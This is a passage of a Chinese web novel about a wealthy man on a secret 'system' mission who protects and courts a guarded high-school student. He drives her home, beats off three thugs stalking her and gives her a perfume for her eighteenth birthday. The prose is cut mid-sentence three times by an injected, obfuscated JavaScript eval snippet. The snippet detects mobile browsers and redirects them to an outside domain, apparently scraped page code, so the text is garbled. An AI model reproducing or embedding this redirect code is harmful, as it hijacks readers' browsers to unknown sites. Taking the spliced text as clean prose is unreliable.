因为真实的理由太荒谬,一来系统不让他说,二来他说了她也不会信。 不过江知意这么回答,他倒是有些明白她为什么怕他了。 他了然一笑,换了个正常的理由回答她:“因为你有些地方很像过去的我。再者,你们老师都给我打电话了,我总不能视而不见。” 男人说完转身,从衣架上取下她的书包和校服:“既然你急着回家,那就走吧,我送你回去。” 取完东西,他又看向她,若有所思道:“你是不是不喜欢去陌生的地方,是不是觉得不安全?” 江知意愣住。 “是我草率了。”傅延青走到她面前,微微俯身,郑重又认真地看着她说道,“你不喜欢,以后不会了。” * 穿好外套背上书包,江知意跟着傅延青来到地下车库。 车库很大却很空,只停着寥寥几辆车。 没走几步就看到傅延青标志性的黑色SF812。 她自觉走到后座,正准备拉车门,男人的声音响起:“坐后面,你把我当司机了?” 她手一缩,立刻抬头看傅延青。 表情像犯了错一样,茫然又无措。 傅延青忍不住笑了一下,走上前为她拉开副驾的门,解释:“如果车上只有两个人,且开车的人不是专职司机,为表尊重,你要坐副驾,这是社交礼仪。” 说罢低头看她:“记住了?” 江知意眨了下眼睛,点头。 傅延青忍不住又笑,转身绕过车头,也上了车。 等车驶出地库后,江知意问:“我可以开窗吗?” 傅延青刚想说发烧了还吹风,下一秒又想起她害怕陌生的环境。 他不由感慨,这姑娘的警惕心确实很重。 不过也不算坏事,起码她懂得保护自己。 他点头,江知意便将车窗降下去一些。 雨已经停了。 雨后的空气吹进来,清凉微冷,吹乱了江知意的碎发。 她抱着书包望向窗外,病恹恹的模样,眼睛却没有一刻离开过外面的风景。 傅延青无意瞥了一眼,明白过来她在记路和观察环境。 倘若出了什么意外,这便是她为自己准备的后路。 也好。 如果这样能让她安心,也挺好。 车一路向前,开到某一个地方时,江知意突然感觉有种奇异的东西从身体里穿过。 那感觉冰冰凉凉,像迎面给了她一个拥抱,再从后背穿出一样。 她皱了下眉,环视起周围,发现并无异常。 再看傅延青也一脸正常,江知意不由怀疑是自己的错觉。 ……是错觉吧? 她好好地坐在车里,什么都没看见,应该是风吹过的错觉吧? 离家还有一站路时,江知意让傅延青停了车。 下车站在熟悉的土地上,她心里的安全感终于回来几分。 她来到主驾的窗边,礼貌道别:“那我回家了,再见。” “等等。”傅延青递给她一个纸袋,“医生开的药,回去记得吃。” 江知意迟疑地接过纸袋。 坦白说,到这一步,傅延青为她做的已经很多。 从第一次捡回书包到现在,若说他想谋财害命,他有无数个机会可以下手,但他没有。 或许,他真的如他所说,只是觉得她像曾经的他,所以日行一善,选择帮她。 ……又或者,他还有她想象不到的目的。 见她收下,傅延青浅浅笑了,叮嘱道:“回家好好休息,有什么事,可以给我打电话。” 江知意点头,转身离开。 走了几步又转回来。 她来到车窗前问他:“你去学校接我时,为什么没开车?” “你觉得呢?”傅延青反问。 见她一脸不解,他自问自答道:“不是不喜欢我在显眼的地方等你吗?把车停远,不就不显眼了?” 江知意的眼神一下变得复杂。 傅延青毫不在意,接道:“下次还有什么介意的就直接说,我尊重你。” 江知意愣愣盯着他,好一会儿才挤出两个字。 “谢谢。” 回家的路上,江知意打开纸袋,看到里面放着两盒药。 药的包装盒上密密麻麻印着字母,她看不懂,也从未听说过这两个牌子。 这是什么药? 该不会有问题吧? 她觉得不安,回家用翻译软件查了外包装的字母,才发现是德文。 比对着翻译软件,她勉强看懂上面写的是什么。 都是很正常的用药说明。 成分表,注意事项,适用人群,生产日期等等。 她接着查两盒药的牌子,搜索结果却是0。 全网竟然一个有关的信息都找不出来。 这可能吗? 江知意心里咯噔一声,猛地将药扔在地上。 不行,还是不能相信傅延青。 这药一定有问题。 她不敢声张,匆匆将药扔进垃圾桶,这才取出家里的退烧药。 窗外雨后初霁,霞光绚烂,傍晚时分,王瑜给她发来作业。 她关心道:“怎么样,好点了吗?如果还是不舒服就再休息一天吧,高三又没有新内容,作业我发给你就好了。” 江知意又摸了下额头,除了体温略高一些,其他症状都消失得差不多了。 嗓子不痛了,身上渐渐有了力气,精气神也比早上好多了。 好好吃药的话,明天就能正常上学了。 ……再者,继续休息的话又要请假。 傅延青和苏语琴,她一个都不想找。 * 目送江知意消失在视线中,傅延青才驱车离开。 路上他对系统说:“信不信,她会把我的药扔了。” 系统:“那你还给她?那你还这么开心?” “因为这代表着我开始了解她了。”傅延青这样回答。 就像她满眼恐惧却又强装镇定地跟他说她想回家,就像她一秒钟都不想在他的地方待,就像她宁愿吹冷风也要开窗,就像她默默记了一路环境,这种种行为的背后,都写着五个字:她不相信他。 她不相信他,又怎么会随便吃他给的药。 至于开心。 “算不上开心。”傅延青打开车窗,冷风从外面灌进来,是自由的气息,他说,“只是觉得她很有意思。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585781|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >风吹起他的领子,白色的领角上下翻飞,傅延青贪恋地眯起眼,猝不及防转了话题:“风很舒服。” 系统:“……醒醒。” 任务还没完呢,怎么就享受上了? “我的世界就没有这样的风。”他望向远处,看到天际的薄红,继续说,“也没有这样的晚霞。” 系统:“……醒醒,明明都一样。” “不一样。”傅延青固执道。 这里的风是自由的,空气也是自由的,只有在这里他才能随心所欲,做自己想做的事。 而那个世界里。 他不得不时时为那个弟弟铺路。 被操控,被限制。 “是吗?”感受出他向往自由的心,系统道,“那宿主可要好好努力啊,只有完成任务你才能获得想要的东西。” “我知道。”傅延青微笑,“放心,她相信我只是时间问题。” 他的确是带着目的接近她,可那份目的伤害不了她。 他也不会害她。 他只是想要一样东西而已。 * 第二天早早醒来,额头的温度又降下去一些。 江知意吃完药,照旧背起书包去上学。 王瑜见她来上学,立刻凑过来关心道:“怎么样,你烧退了吗?还能坚持吗?” 江知意温柔笑笑:“退了,谢谢你昨天给我发作业。” “真的退了?这么快?”王瑜说着伸手摸她额头,自言自语,“好神奇啊,好像是退得差不多了。” 说完又替她庆幸:“你不知道你昨天烧得有多吓人,我都快扶不住你了,还好有人来接你。” 她眨了眨眼,问道:“对了,你还说你不认识他呢,结果他是你哥哥啊?” 江知意:“……” 她犹豫了下,应付道:“嗯,是亲戚家的哥哥,之前没怎么见过,我也不太熟。” “噢。”王瑜趴在桌上羡慕看她,“你哥哥看起来好有钱啊,他有没有给你买很贵的药,有没有带你去吃好吃的?” 江知意好笑道:“哪有那么好。不熟的亲戚而已,我妈出差了才让他来的。” 她不欲在这个话题多聊下去,主动道:“好啦,等会儿老师就来了,赶紧早读吧。” “等等等等,最后两句。” “嗯?” “昨天你请假回家,王三金还特地来问我你怎么了。”王瑜眨眨眼睛,一脸八卦,“他挺关心你的呀。” 王鑫? 江知意愣了一秒,回道:“朋友吗,关心也挺正常。” “哦——”王瑜拖长尾音,“你说什么就是什么吧。” 她接着道:“下个月你生日,你想要什么礼物?早点说我也好早点准备。” 这么早就问礼物? 江知意想了想回答:“暂时没有想法,要不放学我们去文具店看看。” “也行。”王瑜眼睛一亮,爽快道,“那你看上什么告诉我,我给你买!” “诶,老师来了!”后排有人提醒道。 两人赶紧翻书,加入了早读大军。 * 放学后两人来到文具店,看着花花绿绿的本子和笔,王瑜说:“我去买两根笔,你先自己看看有没有喜欢的,看好了叫我啊。” 江知意点头,独自在店里逛起来。 逛到最后面的礼品区,她注意到一个水晶球形状的八音盒。 水晶球里是一片白茫茫的雪地,雪地中央是一颗落满雪的大树,在大树的旁边,坐着一只小熊。 很简单,却很有意境。 她盯得入神,没注意到王瑜已来到她身旁。 “你喜欢这个啊?”王瑜问。 “嗯?”江知意回神,点了下头,“挺漂亮的。” “三十块,也不贵。”王瑜看着标价牌道,“那等你生日我送你啊。” 江知意笑了:“好啊,那你生日时也要记得告诉我你喜欢什么。” 礼物的事就这么定了下来。 离开前江知意想起自己的笔也快没水了,又去挑了把笔芯。 结账时王瑜看到她的一把笔芯,惊讶道:“你买这么多?” “嗯,我习惯一次性多买点。” “你是为了狂刷题才买的吧,可恶,学霸都这么努力,我也得再买点!” 买完笔芯两人又一路去车站,各自坐公交车回家。 下车后江知意照旧在脑子里思考作业里的一道压轴题,走了几步,她忽然有种后背发麻的感觉,仿佛被某道目光盯上了一样。 她强装镇定地边走边用余光向后看。 一个,两个,三个……一共有三个人在不停地看她。 其中一个看她的眼神尤其狠。 那人的左手受过伤,手上有一圈白色石膏,看起来就一副不好惹的样子。 像社会上的不良混混。 江知意的心瞬间提起,若无其事地继续走,继续观察。 然后她发现,那三个人跟上来了。 不紧不慢,始终与她保持着一段距离。 如此走了一百米,江知意心一沉,终于确定。 她被跟踪了。 11. Round 1 江知意强逼自己镇定下来。 不要慌,不要怕,一定要若无其事,假装没有发现。 她安慰着自己,不动声色过到右边的马路,混入人流躲进一家小商场里。 然后七拐八拐,从商场侧门出去。 最后又绕了个远路,仔细确认了一遍再无人跟踪,才走进楼门。 这只是第一天。 江知意以为这只是一次偶然事件,但第二天下车再看到那三个人,她开始意识到这事的不同寻常了。 他们好像就是有目标地、冲着她来的。 她心里慌了一瞬,换了条路再一次甩掉了他们。 第三天,江知意开始不敢回家了。 或者说不敢按时回家。 他们能连续两天出现在车站附近,显然知道她的放学时间,也了解她住的地方就在附近,再按时坐车回去,她可没把握第三次甩掉他们。 她想了想,决定今天去养老院看奶奶拖一拖时间。 等晚上再回去……他们应该不至于还在等她。 她装好给奶奶的回信,坐车来到养老院,熟门熟路地在奶奶房门前停下。 距离上次来养老院又快一个月了。 奶奶坐在窗边,没找人聊天,也没出去散步,只是静静望着窗外。 夕阳的余晖落下来,显得老人背影尤为寂寞。 江知意心里一酸,上前轻声道:“奶奶。” 她笑:“我来看您了。” * 下午开完视频会议,贺凌舟打来电话:“晚上一起吃饭?这儿开了家新餐厅,来试试。” 傅延青看一眼腕表,见时间充裕,言简意赅道:“地址。” “等等啊,我马上给你发,我找找,在……” “宿主别!”系统突然冒头,声音焦急,“你之前收拾的那个混混又盯上江知意了,别去,你再不帮江知意她就有危险了!” 傅延青眉心一跳:“什么?” “就是之前偷江知意书包的混混,你把他手指踩断了还记得吗?他现在怀恨在心,叫了人要去报复江知意!” “找到了!”贺凌舟还沉浸在晚上吃什么的话题中,“发给你了,看到没?” “我不去了。”傅延青说。 贺凌舟:“?” “有急事。”傅延青抓起车钥匙,撂下一句“改天再吃”就挂了电话。 被放鸽子的贺凌舟:“???” 见傅延青毫无准备直奔地下车库,系统忍不住提醒:“宿主,那边有整整三个人,你不会打算一对三吧?” “那不然?”傅延青冷冷道,“我倒是想带人,可惜能离开这儿的只有我一个。” “那……”系统憋出几个字,“宿主加油。” * 张永几人在车站后面蹲了半天也不见江知意回来,忍不住骂起脏话来。 “永哥,那小丫头片子发现咱们了吧?都三天了,我怀疑咱们被她耍了。” “操。”张永吐了口痰,“要不是不知道她家具体在哪栋楼,老子早就上门蹲点了。” 说来好笑,他之前以为盯到了那个女高中生具体住哪儿,结果上楼一看才发现搞错了。 她早就在某个时刻把他甩掉了。 狡猾成这样的小丫头片子,他还是第一次见。 张永说完斜睨两人:“你们到底盯住了没有?这都几点了,不会是她过去了你们没看到吧?” “不能啊永哥,每辆车我们都看了好几遍的。”一个挠挠头,回答道。 “几点了?” “快八点了。” “操!”张永踹了一脚垃圾桶,“又被她耍了,都这会儿了,今天又白等了。” “……”其余两人战战兢兢看着张永,不敢说话。 “愣着干什么,走啊,明天再来!”张永甩脸道。 两个兄弟赶紧跟上。 几人骂骂咧咧走在路边,一段路后准备横穿马路,一辆车恰好从后面加速冲了上来。 毫无避让行人的意思。 漆黑的车擦边挡住了他们的去路,在他们正前方停下。 走在最前面的张永险些被车撞到,不禁破口大骂:“操,没长眼睛啊,撞到老子你赔得起吗?找……” “死”字卡在喉咙中,他看到驾驶座下来的男人,表情像见了鬼一样,目露惊恐。 之前这个男人是怎么漫不经心把他手指踩断的,他到现在都历历在目。 他怎么又来了? 他不是好多天都不管那个高中生了吗? 傅延青关上车门,接着他的话冷冷反问:“找死?” 男人的眼神冰冷锐利,说完放慢语速,一字一字警告道:“敢打她的主意,你才是找死。” * 事实证明光脚的不怕穿鞋的。 人被逼到穷途末路,疯起来也是不要命的。 傅延青虽然一挑三挑赢了,但自己也没能全身而退。 后背挨了几下,脸上也有好几处明显的伤。 连袖口都被扯烂了。 他何曾这样狼狈过。 这副模样若是被贺凌舟看到,至少能笑他一个月。 傅延青扯了扯嘴角。 他擦擦嘴角的血,抬手看一眼腕表,九点多,江知意还没回来。 “宿主……”系统看着他这一身伤都揪心,“要不你还是先回去处理伤口吧。麻烦解决了,江知意回来也不会遇到危险了。” “再等等。”傅延青淡声,“这身伤要是没被她看到,我不就亏了。” 系统:“……” 行吧行吧。 九点十分,一个背着书包的瘦弱身影终于出现。 学生和上班族都已回家,此刻的小区静悄悄的。 江知意注意着周围动静,经过小区中央的花坛时,她看到花坛边的长椅上坐着一个人。 再一细看,那人好像也在看她。 而且身形有点像…… 傅延青? 江知意愣了愣,迟疑着走过去,发现果真是傅延青。 只是今天的傅延青有点不一样。 一贯干净的脸上多出不少伤口,眼眶旁,额头,鼻子,嘴角边,像被谁狠狠打了一顿一样。 虽然不应该,可江知意的第一反应是想笑。 惨是真的惨,滑稽也是真的滑稽。 她绷直嘴角,平复了好一会儿情绪才道:“你怎么了?” 傅延青抬眼看她,颇有终于等到这句关心的感觉,他看她几眼,不答反问:“你知道自己被跟踪了吗?” 江知意皱眉:“你知道?” “嗯。不过已经没事了,我帮你解决了。” 原来是为了帮她才被打成这样。 可是,他怎么知道有人跟踪她? 江知意眨了下眼睛,问:“你认识他们?” “不然你以为他手上的石膏怎么来的?” 江知意:“……” 她若有所思地点头:“这样。” 说罢又道:“那你赶紧找个地方处理伤口吧,谢谢你帮我解决麻烦,再见。” 她转身要走,傅延青不可思议地皱眉:“就这么走了?” 江知意回头:“那不然呢?” “我帮你解决麻烦受的伤,你不管管?” 江知意一脸惊讶:“我管什么?我又不会看病,要管你也应该找医生管。” “所以你就什么都不做了?” 闻言,江知意又走回来,义正言辞道:“首先,是你把他的手弄成那样的,因为你惹了他,所以他来报复我。理论上来说,那个人的善后工作本就应该你做,现在你因为处理不当受了伤,却把原因归结于我身上,是不是太不讲道理了?” 这句话说完,两人之间陷入奇异的安静。 男人眸色漆黑,所有的情绪都模糊在夜色中,辨不清究竟。 江知意仰头看他,不卑不亢,毫不畏惧,半晌,男人轻笑一声:“伶牙俐齿。” 他的确没想过江知意会说出这样一番话来。 他承认她说的是对的,这件事本就是他处理不当,本就该由他来善后,只不过被她这样直言不讳地指出,他竟不觉得生气。 只觉得有意思。 江知意大方回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585782|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应:“客气。” 话说到这程度,傅延青也不指望她会做什么了,干脆站起身,问道:“烧退了吗?” 江知意明显一愣。 反应几秒她才愣愣接道:“退了。” “退了就好。”傅延青淡笑,“那你早点回吧,我走了。” “等……等等。”她忽然道。 像下定决心一般,她追上来问道:“你急吗?不急的话能不能等等我?” “嗯?” “我有东西给你。” 竟然有东西给他? 傅延青自然不会拒绝,又安安静静在长椅上坐了十分钟。 等江知意再回来时,手上多出一个塑料袋。 她一股脑将塑料袋塞给他:“这是我在家找到的,酒精,纱布,外伤药,乱七八糟只要是有关的我都拿来了。” “我能做的就这么多了,你要是看不上这些药,扔了也没关系。” 她说完后退几步:“不管怎样,今天的事还是谢谢你,再见。” 少女没有久留,很快跑远。 留下傅延青一个人看着一袋子药发愣。 良久,他笑了。 * 被打这件事,没能瞒住贺凌舟三天。 虽然傅延青将所有行程都改在了家里,但只要贺凌舟有心,不愁找不到他。 譬如此刻,不速之客贺凌舟站在他家的客厅,仔细端详着他脸上的伤口,一脸新鲜和饶有兴趣。 一边看一边“啧啧啧”地感叹,颇有鉴赏艺术品的架势。 傅延青被看烦了,睨他一眼:“有病?看半天还看不够?” “再有病也没你有病啊。”贺凌舟半分也不生气,好笑道,“除了你主动受虐,我想不出有谁能把你打成这样。怎么,你那天说的急事就是去挨打?” “谁疯了去挨打?” “你啊。”贺凌舟还在幸灾乐祸,“没想到有生之年我还能见你这副模样呢,这波不亏。” “你今天是专程来这儿嘲笑我的?”傅延青冷冷道。 “那倒不是。”贺凌舟转身,自来熟地从柜中取出一瓶红酒给自己倒上,边喝边问,“那天你放我鸽子的事我还记着呢。” 原来是奔着蹭饭来的。 傅延青抬眼,爽快道:“行,之后两次我请。” “不不不。”贺凌舟晃了晃食指,“不是这事。” 他又给傅延青倒了一杯红酒,端过来递给他道:“我就是觉得你最近怪怪的。” “先是想送一个女人回家被拒绝,接着莫名其妙放我鸽子,等再见面时,”贺凌舟打量着他的伤,“你的脸就变成了这样。” 他说完一笑,接着道:“对了,那天你离开我还特意打听了下你去哪儿了,结果是没有人知道。” “傅延青,别告诉我那天晚上的急事也和那个女人有关。” “……” 傅延青接过红酒,摇晃着酒杯里的液体,半晌才吐出一句:“有关又怎样。” 这便是承认了。 贺凌舟睁大眼睛,像发现新大陆一样看他,身体都忍不住前倾几分:“不会吧你,你看上人家了?” “怎么可能。”傅延青一把推开贺凌舟的脸,淡声道,“我对她和喜欢无关。” 贺凌舟眯眼,满脸都是“你看我信吗”的表情。 “不喜欢还为了她被打成这样?等等,你是为了她被打的吧?你别告诉我是她把你打成这样的。” 傅延青:“……” 他无奈:“你脑子里一天都装的什么。” 怎么可能是她打的他? 他低头喝了口红酒,简短解释:“只是和她做笔交易。” “只要她帮我,我就能摆脱他。” 傅延青没说名字,贺凌舟却知道他说的是谁。 是他那个弟弟。 贺凌舟眼神微妙:“有把握?” 傅延青淡淡一笑:“不试试怎么知道。” 喝完红酒,他对贺凌舟说起正事:“对了,你送礼物多,有经验,帮我挑个礼物。” “什么礼物?” “生日礼物。” 12. Round 1 Teen 高三的节奏总是特别快。 转眼来到月底,又要考试了。 王瑜咬着笔杆,一边焦虑一边刷题。 思考半天没思考出结果,她可怜兮兮地把练习册递过来:“我有道题不会,你帮我看看呗。” 江知意笑了下:“好啊。” 她接过题一看,发现跟前几天给王瑜讲的一道题几乎一模一样。 也不能说一模一样,但问题的本质和解题思路绝对是一样的。 江知意想了想,将前几天那道题又翻出来,和这道题一起,对比着讲了一遍。 只讲思路,不讲具体。 讲完后王瑜若有所思:“好像真是一样的。” “你别光刷题,有时候想通本质比刷题有用。只要这个解题思路你吃透,这个知识点你理解透,做一道题就能一通百通了。” 前桌的人不知道什么时候转了过来,跟着王瑜一起听,听完佩服道:“不愧是学霸。” 王瑜还在沉思,闻言点头:“那我再想想。” 江知意笑着点头。 明天就要考试,她给王瑜多讲一点,王瑜就有希望多考一分。 作为同桌,她亲眼看着王瑜每天努力学习,自然希望她的付出能有回报。 三天后成绩下来,王瑜兴冲冲地和她分享:“天啊我在考场遇到前几天问你的那种题了,我按照你说的真的做对了,排名都上升了好几十呢!” “真的?太好了。”江知意也是真心为她高兴,“你下次肯定还能进步。” “嗯嗯!”王瑜眼睛亮晶晶的,说完成绩,又偷偷看一眼后门,确认老师不在,才从书包里掏出了一个小盒子。 “对了,这是你的生日礼物,我提前给你买了。”她有些不好意思,“还有一点别的,你现在先别拆,回家再拆吧。” 江知意微感惊讶,接过礼物。 礼物用漂亮的包装纸和丝带做了装饰,一看就是用了心的。 她心里一软,微笑道:“嗯,我回家再拆,谢谢。” 王瑜说得神秘,江知意也不免期待起这个礼物的内容。 回到家顾不上吃饭,第一件事便是拆王瑜给她的礼物。 礼物是个长方形的纸盒。 她小心翼翼地打开,看到里面的两样东西。 一样是那天去文具店看到的水晶球,一样是一个五角星形状的玻璃瓶。 她拿起玻璃瓶,看到里面满满一瓶的幸运星。 盒子最底下是王瑜写的纸条: 【最好的同桌,生日快乐!提前送你生日礼物希望你不要介意~~~跟你做同桌真的很幸运,谢谢你每天给我讲题,折了点幸运星送给你,祝你每天都有好运,永远开心快乐!】 很简单的字句,看得江知意心里一暖,自然而然涌出感动的情绪。 那么多幸运星…… 真不知道她折了多久。 接着她又拿起水晶球,按下开关,轻灵的音乐在房间响起。 伴随着音乐,水晶球里的白色絮状物也被吹起。 一瞬间整个世界大雪纷飞。 江知意愣了一秒,看着水晶球笑了。 她拍照片给王瑜发完,又忍不住发了条朋友圈。 【提前的生日礼物,喜欢】 配图是大雪纷飞的水晶球。 她没发五角星的玻璃瓶,因为她觉得这是她和王瑜的小秘密。 发完朋友圈她就放下手机开始写作业。 直到晚上睡觉前才点开手机清消息。 清着清着她注意到一个头像。 蓝色的天,蓝色的海,海天一色,一望无际。 是傅延青。 微信名F下是一个红心。 红心再下显示时间,一分钟前。 傅延青给她点了个赞。 江知意呆了呆,她都差点忘了列表里还有傅延青了。 紧接着消息提示又多一条。 傅延青给她发来消息:【什么时候生日?】 江知意看着那条消息,竟然有点不知道怎么回。 她犹豫着打字,删删改改,还没发出去,傅延青又来新消息了。 F:【微信号zy1010,后面是你的生日?】 江知意:“……” 她得改一下微信号了。 F:【正好我也有礼物送你。】 F:【十号晚上,我在校门外等你。】 江知意盯着他发来的两条消息,久久不能理解他的意思。 他和她有熟到可以送生日礼物的地步吗? 她回复:【你不用送我礼物的。】 之后傅延青就不回了。 一直到生日那天。 十月十日,天气开始转冷。 早上江知意起床,特意看了眼手机的消息。 王瑜给她发了生日快乐,几个同学也给她点了系统自带的生日祝福。 除此之外就没有人了。 苏语琴没发,江淮平也没发。 意识到这个事实,江知意竟有一丝意料之中的感觉。 她垂下眼眸,不再多想,背着书包出门。 生日归生日,学校里的节奏一切如旧。 相熟一些的前桌后桌给她说了生日快乐,王鑫则给她送了支笔。 江知意笑着收下。 晚上临近放学的时候,江知意看着窗外,忽然想起前些日子傅延青给她发的消息。 他说今晚放学在学校外等她,后来他没回,不知是答应的意思,还是拒绝的意思? 说来她有一阵子没见他了。 不知道他的伤…… 七点放学,随着人流走出校门,江知意刻意在周围扫视了一圈。 然后她看见了那个男人。 站在马路对面的一棵树旁,身旁没有车,只有身上仍是熟悉的黑色西装。 他还是来了。 “诶江知意,你看对面,是不是你哥哥来了?”王瑜看向傅延青,“他是来给你过生日的吧?” 江知意默了默,模棱两可地答:“应该吧。” “那你还不快去。”王瑜眨眨眼睛,“他肯定给你带生日礼物了。” “那……”江知意犹豫一番,点头,“那我今天就不和你去车站了。” “嗯嗯嗯,快去快去。”王瑜朝她挥手,“明天见。” 两人道别后,江知意过了马路,向傅延青走去。 走得近了才发现男人手里拿了一个小纸袋,约莫就是他说的生日礼物。 她越走越近,傅延青终于抬眼看她。 他的伤都好了,脸上干净如初,一丝疤痕都没有留下。 恢复得比她想象的好多了。 “放学了。”他说。 “嗯。”江知意停在他面前。 “十八岁生日?” “嗯。” 傅延青挑了挑眉,接着一笑,将纸袋递向她:“生日礼物。” 江知意看向纸袋,摇头:“你不用送我礼物的。” “先打开看看。”他仍保持着递礼物的姿势,坚持道。 江知意没法,只得接过纸袋打开。 礼物是一瓶香水。 香水装在盒子里,透过精致的瓶身,能看到里面几近透明的液体。 “香水?”江知意抬起头问。 这个礼物是不是太成熟了? 而且看包装,这香水一定很贵。 她肯定还不起。 “嗯。”傅延青向她走近,伸手从纸袋取出香水,喷了一点在自己手背上,“是不是我先闻过你才放心?” 他说完闻了下手背,接着将手伸向她鼻尖。 这一切都发生得太快太自然,等江知意反应过来时,男人的手已近在咫尺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585783|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,淡淡柠檬香向她涌来。 清新自然,非常好闻。 他只喷了一点,余香却久久不散。 “这款香水的名字叫TeenSpirit。”傅延青说,“翻译过来,就是少年心气。” “女士香水,适合你用。” “选了柠檬香,我想你应该喜欢。” 江知意一怔,意外道:“你怎么知道我喜欢柠檬香?” 傅延青笑了。 笑容在漆黑夜色下,显得朦胧又温柔。 “上次背你时,闻到了你洗发水的味道。” 话落,他拉回正题,问她:“这个生日礼物,喜欢吗?” 喜欢吗? 江知意承认,她喜欢。 喜欢它的味道,喜欢它的名字,也喜欢它设计出来的受众是女性。 TeenSpirit,少年心气,女士香水。 能在她十八岁生日这天送出这样的礼物,傅延青显然不是一时兴起。 他大概留意了很久,挑了很久,最后才定下这个。 江知意低头看看香水,又抬头看看傅延青,竟有种哽住了的感觉。 她不知道说什么。 而傅延青低眸静静看她,也不催促,只耐心等着她开口。 夜风从两人中间掠过,带起几片枯叶。 “这个香水……”江知意开口,“多少钱?” 傅延青颇为意外地挑眉。 “怎么,你要还钱给我?”他好笑道,“不用了,我不缺这点。既然喜欢,收着就是了。” “这点,是多少?”她继续问。 傅延青的笑意敛了几分。 他微微俯身,观察着她神色道:“真要还钱给我?这么见外?” “见外”这个词一出,江知意茫然几秒,反驳道:“我们也不熟吧。” “嗯,是不熟。”傅延青接上她的话道,“可你收下我的礼物,一来二去,总会熟的。” 江知意:“???” 见她皱眉,他又笑了,话锋一转道:“一瓶香水而已,真那么在乎,就还我一个生日礼物好了。” “你生日什么时候?” “下个月。”傅延青随口胡说道。 时间离得越近,她就越能记得这件事,越能对他的生日上心。 只要她对他上心,就够了。 谁知江知意摇头:“我没时间。” 傅延青:“……” 他发现她总能给他一个措手不及的回答。 男人脸黑了黑,就听江知意继续说:“香水很贵的话,就算你问我要钱我也给不起。” “我是……”她面色犹豫,艰难启齿道,“我是想再买一瓶,不贵我就攒攒钱,很贵就算了。” 万一这瓶香水像傅延青的打火机袖扣一样,随随便便卖个几万十几万,她就是把自己卖了也买不起。 “我不是送你了吗?为什么要再买一瓶?”傅延青额头青筋跳了跳,开始头大,“你要还给我?” 结果江知意继续摇头。 她说:“我很喜欢,所以我想要两瓶。” 傅延青难得愣了一秒。 接着他笑了:“这么喜欢?” 江知意认真点头:“我想再买一瓶,所以你能告诉我这瓶香水在哪儿买,卖多少钱了吗?” “……”男人想到什么,唇角的笑淡去,缓缓道,“那个地方你不认识,公交车直达不了,如果你信得过我,我可以带你去买。” 这句话说完,不出所料,他又在江知意眼里看到了微妙的警惕。 她还是在防着他。 即便这一个多月来他什么都没做,不断地帮她解决麻烦,还为她受了伤,她也还是在防着他。 傅延青的心沉了沉。 就在他以为她要拒绝时,江知意开口。 她说:“我想一下吧。” 13. Round 1 那天晚上江知意回到家,和上次查药一样,查了一遍香水的信息。 不出所料,查出来的相关信息仍然是0。 这个世界上根本没有一款叫“TeenSpirit”的香水。 她拿着香水瓶翻来覆去地看,毫无头绪。 为什么傅延青给她的东西总是查不到任何信息? 是他的阶层太高以至于普通群众接触不到这些,还是他给的东西根本就是假的,根本就是有问题的? 可是…… 她又实在喜欢这瓶香水。 她不敢多闻,怕里面加了什么东西,可那股柠檬香余韵悠长,直到现在都刺激着她的大脑皮层,让她念念不忘。 她对傅延青说想再买一瓶,一来是想看看他的东西究竟出自哪里,二来……是她真的想要一瓶属于自己的香水。 每个人都有自己的小癖好,江知意也不例外——她有复数癖。 顾名思义,就是喜欢买复数。 无论是喜欢的笔、喜欢的衣服,还是喜欢的书,她都忍不住想买复数留存。 一次性买很多笔,就不怕厂家停产。 一次买好几件同样的衣服,就不怕以后穿脏穿旧的时候找不到同样喜欢的。 一次买几本一模一样的书,就不怕书泛黄磨损,以后没有崭新的书用来收藏。 江知意不喜欢唯一,她怕自己只有一个,那一个因为保存不当而烂了坏了,她就再也没有了。 就如今天的香水,假如她再买一瓶,有了复数,她就不怕傅延青反悔,不怕他要回去了。 纠结半晌,江知意给傅延青发消息。 xyz:【你真的可以带我去买香水吗?】 F:【不信?】 F:【什么时候有空,时间发给我。】 xyz:【过去要多久?】 F:【来回不超过2小时。】 那不算久,江知意心想。 接下来是最重要的一个问题。 xyz:【香水多少钱?】 F:【不记得了,我看一下。】 消息栏安静下去,江知意边写作业边等。 半小时后手机屏幕亮起。 F:【500,不贵。】 这个价格比江知意想得便宜很多。 五百,说便宜不便宜,说贵也不贵。 刚好是她这种普通人能负担得起的价格。 同时侧面说明了傅延青还没疯,没有莫名其妙送她十万八万的礼物。 五百块对他来说,应该跟她的五毛钱差不多吧。 这么想着,江知意松了一口气。 她放下心来,问傅延青:【我们每周只放半天假,周天下午可以吗?】 傅延青回复:【1】 * 第二天去学校,王瑜一见她就按捺不住地问:“怎么样,昨天吃什么好吃的了,生日礼物呢,你哥哥送的什么?” “香水。”江知意微一犹豫,如实回答道。 